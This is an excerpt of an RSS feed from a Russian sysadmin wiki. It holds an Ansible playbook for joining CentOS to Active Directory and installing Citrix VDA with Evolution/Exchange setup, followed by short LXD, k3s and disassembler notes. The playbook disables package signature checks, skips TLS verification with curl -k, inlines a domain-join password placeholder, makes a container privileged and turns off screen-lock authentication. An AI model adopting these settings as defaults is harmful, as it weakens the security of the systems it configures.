      mv /etc/krb5.conf /etc/krb5.conf_&amp;quot;$(date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;)&amp;quot;
      touch /etc/krb5.conf
      authconfig --disablecache --disablesssd --disablesssdauth --enablewinbind --enablewinbindauth \
      --smbsecurity=ads --smbworkgroup=$DEFAULT_REALM --smbrealm=$DEFAULT_REALM --enablewinbindusedefaultdomain \
      --winbindtemplatehomedir=/home/%U --winbindtemplateshell=/bin/bash --enablekrb5 --krb5realm=$DEFAULT_REALM \
      --disablekrb5realmdns --enablekrb5kdcdns --enablelocauthorize --enablemkhomedir --enablepamaccess --updateall
      
      LIBDEFAULTS=&amp;quot;$(cat &amp;lt;&amp;lt;EOF
      [libdefaults]
      dns_lookup_kdc = true
      dns_lookup_realm = false
      default_realm = $DEFAULT_REALM
      clockskew = 300
      default_ccache_name = FILE:/tmp/krb5cc_%{uid}
      EOF
      )&amp;quot;

      REALMS_KDC=&amp;quot;$(for kdc in $DOMAIN_CONTROLLERS; do echo &amp;quot;kdc = $kdc&amp;quot;;done)&amp;quot;
      REALMS=&amp;quot;$(cat &amp;lt;&amp;lt;EOF

      [realms]
      $DEFAULT_REALM = {
      $REALMS_KDC
      default_domain = $DEFAULT_REALM
      }
      EOF
      )&amp;quot;
      DOMAIN_REALM=&amp;quot;$(cat &amp;lt;&amp;lt;EOF

      [domain_realm]
      .$NEW_DOMAINNAME = $DEFAULT_REALM
      $NEW_DOMAINNAME = $DEFAULT_REALM

      [appdefaults]
      pam = {
      ticket_lifetime = 1d
      renew_lifetime = 1d
      forwardable = true
      proxiable = false
      minimum_uid = 1
      }
      EOF
      )&amp;quot;
      echo &amp;quot;$LIBDEFAULTS&amp;quot; &amp;gt; /etc/krb5.conf
      echo &amp;quot;$REALMS&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf
      echo &amp;quot;$DOMAIN_REALM&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf

  - name: Setup Samba config
    shell: |
      mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_&amp;quot;$(date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;)&amp;quot;
      SMBCONF=&amp;quot;$(cat &amp;lt;&amp;lt;EOF
      [global]
        workgroup = {{ domain_name.split(&amp;#039;.&amp;#039;)[0] | upper }}
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = {{ domain_name | upper }}
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = no
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
      EOF
      )&amp;quot;
      echo &amp;quot;$SMBCONF&amp;quot; &amp;gt; /etc/samba/smb.conf
  - lineinfile:
      name: /etc/security/pam_winbind.conf
      regexp: &amp;#039;^.*krb5_auth&amp;#039;
      line: &amp;#039;krb5_auth = yes&amp;#039;
      
#### Install CitrixVDA ####
  - name: Add Base CentOS repository
    yum_repository:
      name: base_centos
      file: CentOS_Base
      description: Base CentOS repository
#      baseurl: http://mirrorlist.centos.org/?release=7&amp;amp;arch=x86_64&amp;amp;repo=os&amp;amp;infra=stock
#      baseurl: http://ftp.nsc.ru/pub/centos/7/os/x86_64/ 
      baseurl: http://mirror.yandex.ru/centos/7.3.1611/os/x86_64/ 
      gpgcheck: no
  - name: Install PostgreSQL
    yum: state=present name={{ item }}
    with_items:
    - postgresql-server
    - postgresql-jdbc
    - java-1.8.0-openjdk
    - open-vm-tools
  - shell: |
      postgresql-setup initdb
      systemctl start postgresql
      systemctl enable postgresql

  - name: Install VDA
#    yum: state=present name=http://szud-linux-repo.sigma.sbrf.ru/XenDesktopVDA-7.13.0.382-1.el7_2.x86_64.rpm
#    yum: state=present name=http://10.38.246.21/XenDesktopVDA-7.13.0.382-1.el7_2.x86_64.rpm
    yum: state=present name=http://10.38.246.21/XenDesktopVDA-7.14.0.400-1.el7_2.x86_64.rpm
  - name: Remove CentOS Base Repo
    yum_repository: name=base_centos state=absent
    notify: yum-clean-metadata

  - name: Setup Evolution
    file:
      path: /usr/bin/ews_autodiscovery.sh
      state: absent
    ignore_errors: yes
  - blockinfile:
      path: /usr/bin/ews_autodiscovery.sh
      create: yes
      mode: 0755
      block: |
        #!/bin/bash
        export GIO_USE_NETWORK_MONITOR=base
        DOMAINNAME=`hostname -d`
        ##################################################
        ### Check if Evolution EWS source file exist
        ##################################################
        if [ -f ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.1.source ]; then
        echo
        else
        ##########################################
        ## Check if connected to AD
        ##########################################
        if ! wbinfo -P; then
        echo &amp;quot;NETLOGON test failed&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
        else
        echo &amp;quot;NETLOGON test OK&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
        CURRENT_DC=`wbinfo -P | awk &amp;#039;{print $9}&amp;#039; | awk -F &amp;quot;\&amp;quot;&amp;quot; &amp;#039;{print $2}&amp;#039;`
        FULL_NAME=`wbinfo -i $USER | awk -F &amp;quot;:&amp;quot; &amp;#039;{print $5}&amp;#039;`
        BASEDN=`echo $CURRENT_DC | sed s/&amp;quot;\.&amp;quot;/,dc=/g | sed -r &amp;#039;s!^[^dc=]+!!&amp;#039;`
        MAIL=`ldapsearch -h $CURRENT_DC -b &amp;quot;$BASEDN&amp;quot; &amp;quot;sAMAccountName=$USER&amp;quot; | grep mail: | awk &amp;#039;{print $2 }&amp;#039;`
        ###############################################################################################
        ### MS Exchange autodiscovery
        #### https://github.com/sys4/automx/blob/master/src/automx-test
        #### http://stackoverflow.com/questions/38509837/when-using-negotiate-with-curl-is-a-keytab-file-required
        #### Joined AD with samba/winbind and have package gss-ntlmssp
        #### libsasl2-modules-gssapi-mit
        ###############################################################################################
        AUTOD_URL=&amp;quot;https://autodiscover.`echo $MAIL | sed &amp;#039;s/^.*@//&amp;#039;`&amp;quot;/autodiscover/autodiscover.xml
        REQUEST=$(cat &amp;lt;&amp;lt;EOF
        &amp;lt;Autodiscover xmlns=&amp;quot;http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006&amp;quot;&amp;gt;
        &amp;lt;Request&amp;gt;
        &amp;lt;EMailAddress&amp;gt;$MAIL&amp;lt;/EMailAddress&amp;gt;
        &amp;lt;AcceptableResponseSchema&amp;gt;http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a&amp;lt;/AcceptableResponseSchema&amp;gt;
        &amp;lt;/Request&amp;gt;
        &amp;lt;/Autodiscover&amp;gt;
        EOF
        )
        bash -c &amp;quot;curl -k -d &amp;#039;$REQUEST&amp;#039; --header \&amp;quot;Content-Type: text/xml\&amp;quot; -s --negotiate -u : $AUTOD_URL&amp;quot; &amp;gt; ~/.autodiscover.xml
        OABUrl=$(cat ~/.autodiscover.xml | grep -m 1 OABUrl | awk -F &amp;#039;[&amp;lt;&amp;gt;]&amp;#039; &amp;#039;{ print $3 }&amp;#039;)oab.xml
        EwsUrl=$(cat ~/.autodiscover.xml | grep -m 1 EwsUrl | awk -F &amp;#039;[&amp;lt;&amp;gt;]&amp;#039; &amp;#039;{ print $3 }&amp;#039;)
        EwsHost=$(echo $EwsUrl | awk -F &amp;#039;/&amp;#039; &amp;#039;{ print $3 }&amp;#039;)
        rm ~/.autodiscover.xml     
        echo CURRENT_DC - $CURRENT_DC &amp;gt; ~/.ews_setup.log
        echo FULL_NAME - $FULL_NAME &amp;gt;&amp;gt; ~/.ews_setup.log
        echo BASEDN - $BASEDN &amp;gt;&amp;gt; ~/.ews_setup.log
        echo MAIL - $MAIL &amp;gt;&amp;gt; ~/.ews_setup.log
        echo DOMAINNAME - $DOMAINNAME &amp;gt;&amp;gt; ~/.ews_setup.log
        echo OABUrl - $OABUrl &amp;gt;&amp;gt; ~/.ews_setup.log
        echo EwsUrl - $EwsUrl &amp;gt;&amp;gt; ~/.ews_setup.log
        echo EwsHost - $EwsHost &amp;gt;&amp;gt; ~/.ews_setup.log
        ################################################################
        ### Check URLs format
        ################################################################
        echo $OABUrl | grep -E &amp;#039;(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/(oab|OAB)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/oab.xml)&amp;#039;
        OAB_URL_Check=$?
        echo $EwsUrl | grep -E &amp;#039;(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/(ews|EWS)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|\$|,|/|\?|%|#|\[|\]])*/exchange.asmx)&amp;#039;
        EWS_URL_Check=$?
        if [ $OAB_URL_Check != 0 ] || [ $EWS_URL_Check != 0 ]; then
        echo &amp;quot;OAB and EWS URLs check failed... Exit...&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
        else
        echo &amp;quot;OAB and EWS URLs check OK&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
        ######################################################################
        ### CleaningUp and creating evolution source files
        ######################################################################
        killall evolution-source-registry
        rm -Rf ~/.config/evolution/sources
        mkdir --parents ~/.config/evolution/sources
        #####################################################################################
        cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.1.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=
        
        [Offline]
        StaySynchronized=true
        
        [Authentication]
        Host=$EwsHost
        #Method=none
        Method=GSSAPI
        Port=443
        ProxyUid=system-proxy
        RememberPassword=true
        User=$USER
        CredentialName=
        
        [Collection]
        BackendName=ews
        CalendarEnabled=true
        ContactsEnabled=true
        Identity=$USER
        MailEnabled=true
        
        [Security]
        Method=none
        
        [Ews Backend]
        FilterInbox=true
        StoreChangesInterval=3
        CheckAll=true
        ListenNotifications=true
        Email=$MAIL
        FilterJunk=true
        FilterJunkInbox=false
        FoldersInitialized=true
        GalUid=ews.$USER.$DOMAINNAME
        Hosturl=$EwsUrl
        Oaburl=$OABUrl
        OabOffline=true
        OalSelected=
        Timeout=300
        UseImpersonation=false
        ImpersonateUser=
        EOF
        
        ######################################################################
        cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.0.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=ews.$USER.$DOMAINNAME.1
        
        [Mail Composition]
        Bcc=
        Cc=
        DraftsFolder=folder://ews.$USER.$DOMAINNAME/%d0%a7%d0%b5%d1%80%d0%bd%d0%be%d0%b2%d0%b8%d0%ba%d0%b8
        SignImip=true
        TemplatesFolder=folder://local/Templates
        
        [Mail Identity]
        Address=$MAIL
        Name=$FULL_NAME
        Organization=
        ReplyTo=
        SignatureUid=none
        
        [Mail Submission]
        SentFolder=folder://ews.$USER.$DOMAINNAME/%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%bb%d0%b5%d0%bd%d0%bd%d1%8b%d0%b5
        TransportUid=ews.$USER.$DOMAINNAME.13
        RepliesToOriginFolder=false
        EOF
        
        ######################################################################
        cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.3.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=ews.$USER.$DOMAINNAME.1
        
        [Refresh]
        Enabled=true
        IntervalMinutes=3
        
        [Mail Account]
        BackendName=ews
        IdentityUid=ews.$USER.$DOMAINNAME
        ArchiveFolder=
        EOF
        
        ###############################################################################
        cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/ews.$USER.$DOMAINNAME.13.source
        [Data Source]
        DisplayName=$MAIL
        Enabled=true
        Parent=ews.$USER.$DOMAINNAME.1
        
        [Mail Transport]
        BackendName=ews
        EOF
        
        ################################################################################
        cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/local.source
        # Special built-in mail store.
        [Data Source]
        DisplayName=On This Computer
        Enabled=false
        Parent=
        
        [Mail Account]
        BackendName=maildir
        IdentityUid=self
        ArchiveFolder=
        
        [Maildir Backend]
        FilterInbox=true
        Path=$HOME/.local/share/evolution/mail/local
        EOF
        
        ########################################################################
        cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/vfolder.source
        # Special built-in mail store.
        
        [Data Source]
        DisplayName=Search Folders
        Enabled=false
        Parent=
        
        [Mail Account]
        BackendName=vfolder
        IdentityUid=self
        ArchiveFolder=
        
        [Vfolder Backend]
        FilterInbox=true
        EOF
        
        ##################################################################
        mkdir --parents ~/.config/evolution/mail/
        cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/mail/state.ini
        [GlobalFolder]
        GroupByThreads=false
        PreviewVisible=true
        
        [Store ews.$USER.$DOMAINNAME.3]
        Expanded=true
        
        [Search Bar]
        SearchScope=mail-scope-current-folder
        SearchOption=mail-search-subject-or-addresses-contain
        
        [Folder Tree]
        Selected=folder://ews.$USER.$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5
        
        [Folder folder://ews.$USER.$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5]
        GroupByThreads=false
        PreviewVisible=true
        Expanded=true
        EOF
        
        fi
        fi
        fi
        
  - file:
      path: /etc/skel/.config/autostart/
      state: directory
      mode: 0755
  - file:
      path: /etc/skel/.config/autostart/ews_autodiscovery.desktop
      state: absent
    ignore_errors: yes            
  - blockinfile:
      path: /etc/skel/.config/autostart/ews_autodiscovery.desktop
      create: yes
      mode: 0644
      marker: &amp;quot;&amp;quot;
      block: |
        [Desktop Entry]
        Encoding=UTF-8
        Version=1.0
        Type=Application
        Name=Evolution Mail Client Preconfigure
        Comment=Evolution Mail Client Preconfigure
        Exec=/usr/bin/ews_autodiscovery.sh &amp;amp;
        StartupNotify=false
        Terminal=false
        Hidden=false
        OnlyShowIn=GNOME;XFCE;LXDE;
        X-GNOME-Autostart-enabled=true
  - file:
      path: /etc/skel/.config/xfce4/
      state: directory
      mode: 0755
  - file: 
      path: /etc/skel/.config/xfce4/helpers.rc
      state: touch
      mode: 0644
  - lineinfile:
      path: /etc/skel/.config/xfce4/helpers.rc
      state: present
      regexp: &amp;#039;^MailReader=&amp;#039;
      line: &amp;#039;MailReader=evolution&amp;#039;

#### Disable ScreenSaver
  - name: Disable Screen Saver
    blockinfile:
      path: /etc/skel/.Xdefaults
      create: yes
      mode: 0644
      marker: &amp;quot;&amp;quot;
      block: |
        xautolock.locker:z-securelock auth_none saver_z_screensaver
        xautolock.time:1000
        xsaver_xautolock:Случайно
        xtime_xautolock:0
...

&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;PlayBook&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;playbook&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;638-18928&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;join_ad_domain_setup_citrix_vda_playbook&quot;&gt;Join AD Domain Setup Citrix VDA Playbook&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;---
- hosts: nci_os_szud
  vars:
    hostname: szud-os2
  tasks:

  - name: Set hostname
    shell: |
      sysctl kernel.hostname=&amp;quot;{{ hostname }}&amp;quot;
      sysctl -p
      hostnamectl set-hostname &amp;quot;{{ hostname }}&amp;quot; ##.&amp;quot;{{ domain_name }}&amp;quot;
      sed -i &amp;#039;/^127./D&amp;#039; /etc/hosts
  - lineinfile:
      name: /etc/hosts 
      regexp: &amp;#039;^127\.0\.0\.1&amp;#039;
      line: &amp;#039;127.0.0.1 {{ hostname }}.{{ domain_name }} {{ hostname }} localhost.localdomain localhost&amp;#039;
  - lineinfile:
      name: /etc/hosts
      regexp: &amp;#039;/^::1/D&amp;#039;
      state: absent
  - name: restart NetworkManager service
    service: name=NetworkManager state=restarted
  - shell: |
      net ads join -U ADDSIGMACA%PASSWORD
      /opt/Citrix/VDA/sbin/ctxcleanup.sh
      CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
      CTX_XDL_DDC_LIST=&amp;quot;v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru&amp;quot; \
      CTX_XDL_VDA_PORT=80 \
      CTX_XDL_REGISTER_SERVICE=Y \
      CTX_XDL_ADD_FIREWALL_RULES=Y \
      CTX_XDL_AD_INTEGRATION=1 \
      CTX_XDL_HDX_3D_PRO=N \
      CTX_XDL_VDI_MODE=Y \
      CTX_XDL_SITE_NAME=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
      CTX_XDL_LDAP_LIST=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
      CTX_XDL_SEARCH_BASE=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
      CTX_XDL_START_SERVICE=Y \
      /opt/Citrix/VDA/sbin/ctxsetup.sh

      sleep 10
      reboot
...&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Join AD Domain Setup Citrix VDA Playbook&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;join_ad_domain_setup_citrix_vda_playbook&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;18929-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>setup_emilpro_disassembler_in_ubuntu_16.04</title>
            <link>https://wiki.autosys.tk/linux_faq/setup_emilpro_disassembler_in_ubuntu_16.04</link>
            <description>
&lt;p&gt;
Заброшенный проект. мутное говно. &lt;br/&gt;

&lt;a href=&quot;http://www.emilpro.com/&quot; class=&quot;urlextern&quot; title=&quot;http://www.emilpro.com/&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.emilpro.com/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/SimonKagstrom/emilpro&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/SimonKagstrom/emilpro&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/SimonKagstrom/emilpro&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt install libelf-dev libgtkmm-3.0-dev libgtksourceviewmm-3.0-dev libxml++2.6-dev libcurl4-openssl-dev libcapstone-dev flex bison elfutils texinfo cmake 
sudo apt install qt5-default
git clone https://github.com/SimonKagstrom/emilpro
cd emilpro
mkdir build
cd build

# for the GTK ui:
#cmake ..
# .. or for the QT ui:
cmake ../src/qt/

make
sudo cp &lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>setup_k3s_inside_lxc_container_ubuntu_22.04</title>
            <link>https://wiki.autosys.tk/linux_faq/setup_k3s_inside_lxc_container_ubuntu_22.04</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo lxd init
lxc launch ubuntu:22.04 k8s
lxc config set k8s security.privileged true&lt;/pre&gt;

&lt;p&gt;
Свойства контейнера можно найти в файликах &lt;strong&gt;/var/snap/lxd/common/lxd/containers/k8s/metadata.yaml&lt;/strong&gt; и &lt;strong&gt;/var/snap/lxd/common/lxd/security/apparmor/profiles/lxd-k8s&lt;/strong&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 31 May 2023 14:20:00 +0000</pubDate>
        </item>
        <item>
            <title>setup_lxc_lxd_host_on_ubuntu_1804</title>
            <link>https://wiki.autosys.tk/linux_faq/setup_lxc_lxd_host_on_ubuntu_1804</link>
            <description>
&lt;p&gt;
Настраиваем хост контейнеров &lt;strong&gt;LXD&lt;/strong&gt; с хранилищем &lt;strong&gt;zfs&lt;/strong&gt; и web-интерфейсом.
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;настройка_lxd&quot;&gt;Настройка LXD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://habr.com/post/308400/&quot; class=&quot;urlextern&quot; title=&quot;https://habr.com/post/308400/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habr.com/post/308400/&lt;/a&gt; &lt;br/&gt;

Если мы настраиваем физический хост или виртуальную машину на собственном сервере, то нам нужно удалить пакет &lt;strong&gt;cloud-init&lt;/strong&gt;. Он предназначен для автоматического конфигурирования системы в различных облачных окружениях.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y purge cloud-init &amp;amp;&amp;amp; sudo rm -rf /etc/cloud&lt;/pre&gt;

&lt;p&gt;
Теперь ставим &lt;strong&gt;lxd&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install lxd zfsutils-linux bridge-utils&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;130-746&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;настраиваем_zfs-pool&quot;&gt;Настраиваем ZFS-pool&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Использование &lt;strong&gt;ZFS&lt;/strong&gt; позволяет использовать снепшоты для бекапа, а также дедупликацию и компрессию для экономии места.
Если на хосте &lt;strong&gt;LXС/LXD&lt;/strong&gt; есть &lt;strong&gt;ZFS volume&lt;/strong&gt;, то контейнеры можно создавать как в нем, так и по старому в директории. Просто при создании контейнера нужно указывать имя &lt;strong&gt;zfs pool&lt;/strong&gt;, в котором будет создан &lt;strong&gt;dataset&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zpool create -f lxd /dev/xvdb
sudo zpool status
sudo zfs list
sudo zfs set dedup=on lxd
sudo zfs set compression=on lxd
sudo zdb -S lxd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c ZFS-pool&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c_zfs-pool&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;747-1518&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;настройка_network_bridge_для_lxd&quot;&gt;Настройка network bridge для LXD&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Мне нужно, чтобы контейнеры имели адреса в двух физических &lt;strong&gt;&lt;abbr title=&quot;Local Area Network&quot;&gt;LAN&lt;/abbr&gt;&lt;/strong&gt;. Таким образом, в &lt;strong&gt;netplan&lt;/strong&gt; мне нужно настроить два &lt;strong&gt;bridge&lt;/strong&gt;, в котором указать в качестве &lt;strong&gt;slave&lt;/strong&gt;-интерфейсов мои физические интерфейсы.&lt;br/&gt;

Устанавливаем &lt;strong&gt;bridge-utils&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install bridge-utils&lt;/pre&gt;

&lt;p&gt;
Удаляем все ненужные &lt;strong&gt;yaml&lt;/strong&gt;-файлики из &lt;strong&gt;/etc/netplan/&lt;/strong&gt; и оставляем единственный с таким вот содержимым:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      interfaces:
        - eth0
      addresses: [ 192.168.77.13/24 ]
      gateway4: 192.168.77.1
      nameservers:
          addresses:
              - 192.168.77.100
              - 192.168.77.1
          search: [autosys.tk]
      parameters:
          stp: false
          forward-delay: 0
    br1:
      dhcp4: no
      dhcp6: no
      interfaces:
        - eth1
      addresses: [ 192.168.100.113/24 ]
      parameters:
          stp: false
          forward-delay: 0&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 network bridge \u0434\u043b\u044f LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_network_bridge_\u0434\u043b\u044f_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1519-2869&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;первичная_настройка_lxd&quot;&gt;Первичная настройка LXD&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Перед созданием или импортом контейнеров необходимо произвести первоначальное конфигурирование LXD. Выполняем команду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxd init&lt;/pre&gt;

&lt;p&gt;
Вот один из вариантов конфигурирования:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Would you like to use LXD clustering? (yes/no) [default=no]: n
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: lxd
Name of the storage backend to use (btrfs, dir, lvm, zfs) [default=zfs]: zfs
Create a new ZFS pool? (yes/no) [default=yes]: n
Name of the existing ZFS pool or dataset: lxd
Would you like to connect to a MAAS server? (yes/no) [default=no]: n
Would you like to create a new local network bridge? (yes/no) [default=yes]: n
Would you like to configure LXD to use an existing bridge or host interface? (yes/no) [default=no]: yes
Name of the existing bridge or host interface: br0
Would you like LXD to be available over the network? (yes/no) [default=no]: n
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]: y
config: {}
cluster: null
networks: []
storage_pools:
- config:
    source: lxd
  description: &amp;quot;&amp;quot;
  name: lxd
  driver: zfs
profiles:
- config: {}
  description: &amp;quot;&amp;quot;
  devices:
    eth0:
      name: eth0
      nictype: bridged
      parent: br0
      type: nic
    root:
      path: /
      pool: lxd
      type: disk
  name: default
&lt;/pre&gt;

&lt;p&gt;
Повторное конфигурирование можно запустить так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg-reconfigure -p medium lxd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u0430\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0430\u044f_\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2870-4615&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;внесение_изменений_в_дефолтный_профиль&quot;&gt;Внесение изменений в дефолтный профиль&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для того, чтобы отредактировать дефолтный профиль, который будет применяться к новым контейнерам.
Сохраним его в файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile show default &amp;gt; default_lxd_profile.yaml&lt;/pre&gt;

&lt;p&gt;
Отредактируем его, например - заменив &lt;strong&gt;lxdbr0&lt;/strong&gt; на имя нашего &lt;strong&gt;bridge&lt;/strong&gt; - &lt;strong&gt;br0&lt;/strong&gt;. И сохраним его в конфигурации &lt;strong&gt;LXD&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile edit default &amp;lt; default_lxd_profile.yaml&lt;/pre&gt;

&lt;p&gt;
Удалить дефолтный &lt;strong&gt;lxdbr0&lt;/strong&gt; можно командой:
